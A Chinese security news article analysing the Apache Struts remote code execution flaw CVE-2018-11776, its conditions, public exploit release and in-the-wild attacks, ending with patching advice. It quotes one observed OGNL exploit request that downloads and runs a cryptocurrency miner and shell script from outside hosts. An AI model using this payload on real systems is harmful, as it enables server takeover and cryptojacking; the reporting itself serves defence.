详细分析Apache Struts RCE漏洞及攻击事件(CVE-2018-11776) - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

详细分析Apache Struts RCE漏洞及攻击事件(CVE-2018-11776)

41yf1sh 漏洞 2018-10-15 10:58:35
247079
收藏

导语:2018年8月底,Apache Struts团队发布了Apache Struts 2开源开发框架的安全更新,其中修复了一个高危的远程代码执行漏洞(RCE)。这一漏洞的编号为CVE-2018-11776,受漏洞影响的版本范围是2.3-2.3.34、2.5-2.5.16以及不再提供更新支持的早期版本。

概述

2018年8月底,Apache Struts团队发布了Apache Struts 2开源开发框架的安全更新,其中修复了一个高危的远程代码执行漏洞(RCE)。这一漏洞的编号为CVE-2018-11776,受漏洞影响的版本范围是2.3-2.3.34、2.5-2.5.16以及不再提供更新支持的早期版本。在Struts 2.3.35和2.5.17版本中修复了这一漏洞。

Struts开发团队还发布了一个临时修复方法,但他们建议用户不要选择这一方案,而是应该尽快安装更新。

在Apache发布的安全公告中,是这样描述这一漏洞的:“当使用没有命名空间的结果时,如果其上层动作没有或具有通配符命名空间,可能会导致远程代码执行。同样,当使用没有值或动作集的URL标记时,也可能导致远程代码执行”。

这一漏洞很容易被利用。根据安全公告的信息,如果没有在基础XML配置中为结果定义命名空间值,并且其上层动作配置中没有或具有通配符命名空间,就可能会触发RCE漏洞。当使用没有值或动作集的URL标记时,就可以利用这一漏洞。

Semmle在发表的技术分析中指出,

该漏洞是由于Struts框架核心中没有对不受信任的用户数据进行充分验证而导致的。由于这一漏洞影响Struts的核心部分,因此存在多个单独的攻击向量。目前,我们已经掌握了其中的两种攻击方式。

如果满足以下两个条件,则可以判断应用程序受到该漏洞的影响:

1、Struts配置中的alwaysSelectFullNamespace标志设置为True。需要注意的是,如果应用程序使用了流行的Struts Convention插件,那么会默认出现这种情况。

2、应用程序配置文件中包含<action ...>标记,该标记未指定可选的命名空间属性,或者指定了通配符命名空间(例如“/*”)。

该漏洞影响Struts的常用终端,这些终端可能会暴露。

攻击者可以通过在HTTP请求的参数中注入自己的命名空间,来攻击受漏洞影响的应用程序。Struts框架对该参数的值进行了不充分的验证,其值可以是任何OGNL字符串。OGNL是一种功能强大的特定域语言,用于自定义Apache Struts的行为。

漏洞EXP在GitHub上发布

专家解释说,这一漏洞的利用非常容易,因为有大量应用程序使用了受漏洞影响的Struts框架,所以非常危险。攻击者可以通过在HTTP请求中注入自定义的命名空间作为参数,来触发这一漏洞。缺乏对该参数的正确验证是问题的根源。

就在Apache Software Foundation发布Apache Struts 2中关于远程代码执行的安全公告后的2天时间,网上就出现了一个可用的漏洞概念验证(PoC)。

威胁情报公司Recorded Future的研究人员在几个中国和俄罗斯的地下论坛中,观察到与Struts漏洞相关的信息和交易。

Recorded Future在发布的分析文章中写道:

不幸的是,PoC的代码已经在网上发布,此外还有一个可以轻松利用这一漏洞的Python脚本。这样一来,就使得攻击者可以更加轻松的利用此漏洞。我们还发现了许多中国和俄罗斯的地下论坛在持续讨论这一漏洞。与去年Equifax的Apache Struts漏洞(CVE-2017-5638)不同,这个漏洞似乎更容易被利用,因为它不需要安装Apache Struts就可以运行任何额外的插件,从而实现成功的攻击。

由于这一框架非常流行,所以受漏洞影响的应用程序数量非常多。

因为运行Apache Struts的许多服务器都是后端应用程序服务器,所以即使是系统管理员也不容易对它们进行判断。

另一个需要考虑的方面是,有许多Struts框架无法立即安装更新。这些系统仍然容易受到攻击,特别是在关键环境中的系统。

专家警告说,后续可能会有黑客发起大规模的互联网扫描,发现易受攻击的系统,并针对存在漏洞的系统开展一系列攻击活动。

在野外发现利用Struts Flaw漏洞进行的攻击

在网上发布EXP代码的几个小时后,威胁情报公司Volexity的研究人员就发现该漏洞已被恶意攻击所利用。攻击者正在试图借助此漏洞,向目标主机安装CNRig加密货币挖矿程序。

Volexity在发布的报告中指出:Volexity已经观察到,至少有一个攻击者试图大规模利用CVE-2018-11776来安装CNRig加密货币矿工。最初观察到的扫描,来自俄罗斯和法国的IP地址95.161.225.94和167.114.171.27。

黑客使用的漏洞利用代码会连接到GitHub仓库,以获取CNRig Miner的副本,并将其保存为xrig,随后访问BitBucket下载Shell脚本。

以下是Volexity安全研究人员在实际攻击中观察到的漏洞利用尝试示例:

GET /struts3-showcase/$${(#_memberAccess[“allowStaticMethodAccess”]=true,#a=@java.lang.Runtime@getRuntime().exec(‘wget -O xrig hxxps://github.com/cnrig/cnrig/releases/download/v0.1.5-release/cnrig-0.1.5-linux-x86_64;wget hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh || curl -L hxxps://bitbucket.org/c646/zz/downloads/upcheck.sh –output upcheck.sh;chmod x xrig;chmod x upcheck.sh;nohup ./upcheck.sh &;nohup ./xrig -a cryptonight -o us-east.cryptonight-hub.miningpoolhub.com:20580 -u c646.miner -p x &;rm xrig’).getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[51020],#c.read(#d),#sbtest=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#sbtest.println(#d),#sbtest.close())}/actionChain1.action HTTP/1.1

经过分析,上述代码揭示了漏洞利用的过程:

如果上述漏洞利用尝试成功,存在漏洞的系统将对其中的两个URL执行wget请求,以便从GitHub下载CNRig Miner的副本(保存为xrig),随即从BitBucket下载Shell脚本(upcheck.sh)。

攻击者使用Shell脚本,删除先前的矿工实例,删除特定进程,并且下载3个ELF挖矿二进制文件。

在此次攻击中,攻击者使用的挖矿工具支持多种体系架构,包括Inter、ARM和MIPS。这说明攻击者将目标瞄准了尽可能广泛的用户群体。

下载的3个ELF二进制文件分别是针对Inter、ARM和MIPS架构的可执行文件,这样一来,该挖矿程序就能够在许多硬件上运行,例如服务器、台式机、笔记本电脑、物联网设备、无线路由器等。范围几乎涵盖了所有能运行存在漏洞的Apache Struts实例的连网设备。

攻击中涉及到的BitBucket文件夹中包含Shell脚本和ELF二进制文件。研究人员发现,挖掘加密货币的账户名称与BitBucket账户名称相同。

结论

Apache Struts漏洞对于组织来说非常危险,也是导致Equifax超过1.4亿用户信息泄露的根本原因。然而,CVE-2018-11776比此前的漏洞更容易被利用。

目前,有两种方案可以防范该漏洞。第一,升级到最新版本的Apache Struts,其版本号为2.3.35或2.5.17以上。第二,确保在Apache Struts框架中始终设置了命名空间。

由于持续不断的出现高危漏洞,Apache Struts框架逐渐成为越来越多攻击者关注的目标。这就需要组织具有及时的响应速度,确保在发布新补丁之后立即对软件进行更新,或者以其他方式限制外部对受漏洞影响网站的访问。尽管当前发现的Apache Struts攻击的主要Payload是加密货币挖矿程序,但攻击者完全可以使用其他Payload。

我个人认为,针对CVE-2018-11776漏洞的恶意活动数量还会持续增加,因为目前还有大量的Apache Struts 2尚未修复漏洞,并且能被外界访问。

  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务